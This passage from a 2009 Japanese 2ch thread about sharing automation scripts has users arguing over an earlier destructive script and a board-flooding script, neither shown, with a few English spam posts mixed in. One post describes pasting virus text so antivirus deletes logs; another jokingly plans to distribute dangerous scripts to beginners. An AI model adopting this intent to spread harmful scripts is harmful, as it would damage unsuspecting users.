730 名前:lymEYIfFBULtWrMMQD mailto:pe7b5d45e.@gmail.com [2009/10/22(木) 23:41:54 ID:kObaYugK0] I'll see everybody tomorrow on What's Up Wednesday. ,
731 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 00:30:11 ID:SAH7zdiT0] 誰かウィルスにでもかかったのか? > 529 名前:BDHkJPLEn[f032ebe2nd.@gmail.com] 投稿日:2009/10/23(金) 00:03:01 ID:??? > So, in my blog, I look for opportunities to present perspectives that are often censored. ,
732 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 02:04:28 ID:Wc1ARWvB0] ソフ板の定番のスクリプトコピペが少しは意味のある単語を入れ始めただけ
733 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 04:51:08 ID:DWLH0rQm0] 興味持った初心者が実行しちゃうとか思わないのかねぇ モラルのないクズばっかりだなぁ、情けねーわ
734 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 08:50:16 ID:Hx39oh9p0] 思慮のない初心者は痛い目にあって知恵をつけていくしかない
735 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 10:57:36 ID:SAH7zdiT0] 初心者が毎日来るとは思ってないし。 土日でもないし。 >>734 みたいのはひどいと思うけど 「特定の人々にとって都合の悪い書き込み」があったスレにはいつも必ずウィルススクリプトが貼り付けてあった。 ウィルススクリプトはテキスト状態でもウィルスチェッカが発見してログを削除してしまうのを利用しているんだ。 自分が痛い目を見るだけならともかく、ウィルスをばら撒くようなことにもなりかねないから、 確かに痛い目を見てでも安易な実行は避けることを覚えるべき。
736 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 11:51:00 ID:iEyplr100] >>721 念のため警察に通報しとけよ
737 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 15:05:32 ID:Wc1ARWvB0] >>733 今回は用途が板爆撃スクリプトなだけに使おうと思う奴も 作った奴もどっちもどっちって感じだがな。
738 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 17:59:13 ID:hoAE3VuS0] >>736 裏2chへの行き方とか、ウイルスの掃除の仕方とか何とか言って フォーマットとかふしあなトラップ仕掛けている人を通報するとか言ってるのと同じようなもんだとなぜ解らないんだろうなw そもそも「己のスクリプトを晒しましょ。」なんていうスレなんだし、 多少のスキルがあるヤツしか居ないと思うんだがなぁ。 まぁ、>>690 見て実行するようなヤツは半年くらいネット繋がずに自力でスプリクト書いてろよw
739 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 19:52:40 ID:i7NNR92L0] 関係ない 実害が出たらまず110 逮捕されるかどうかは警察まかせでいい あとふしあなとは全く違う
740 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 19:59:08 ID:rK5f7ruL0] ネットで調べることをやめさせてどうするんだ。
741 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 20:01:27 ID:Hx39oh9p0] ゆとり脳多すぎワロタ
742 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 20:20:51 ID:9mI/MsVb0] >>739 クソワロタwww
743 名前:wZADhxijwdhbPogdHEe mailto:14d43o08l.@gmail.com [2009/10/23(金) 21:39:08 ID:w7n4Xjz00] Includes Protective Sports Equipment and Protective Wear. ,
744 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 22:42:04 ID:KXvduCK+O] uwsc作者のumiumiが一番の悪人 奴は拳銃を売って儲けるヤクザの元締めと一緒 あいつを捕まえない限り被害者は増加し続ける
745 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 23:21:29 ID:Hx39oh9p0] ついに作者にまで責任転嫁始めたかw 面白すぎるw
746 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 23:35:24 ID:Yh5II5xX0] >>690 は>>682 の無差別掲示板荒らしを未然に防いだと言う意味で評価されるべきだ
747 名前:名無しさん@お腹いっぱい。 [2009/10/23(金) 23:59:41 ID:t1jDgBDQ0] サーバに無駄な負荷を掛ける攻撃を目論んでいた>>682 は典型的な犯罪者 社会のクズを退治した>>690 は正義の使者だよ、もちろん
748 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 00:31:01 ID:zq9vSvMH0] >>744 そもそもWindowsがあるのがいけないんですね!解ります!
749 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 14:36:16 ID:0z+51oUb0] >>744 そんなの言い出したら包丁売ったら犯罪とか、ライター売ったら犯罪とかってことか? ちなみに47氏でも勝訴だぞ。
750 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 16:31:07 ID:7wNQpB3T0] ネタにマジレス
751 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 18:01:59 ID:jvbbXPzt0] クズスレ
752 名前:名無しさん@お腹いっぱい。 [2009/10/26(月) 22:52:30 ID:+luvcpcv0] Windows7買ったんでこのスレの話を参考にVirtual PC導入したよ >>690 実行しても仮想環境ならワンボタンで取り消せて(・∀・)イイ!! 思う存分危険スクリプト作れるぜ 丸投げ厨に配布しまくろっと
753 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/26(月) 23:14:25 ID:jdxyP/Yd0] なんか変なのが住み着いたなぁ
754 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/26(月) 23:27:49 ID:jrd5+kFQ0] >>752 丸投げ厨です これからもよろしくね♪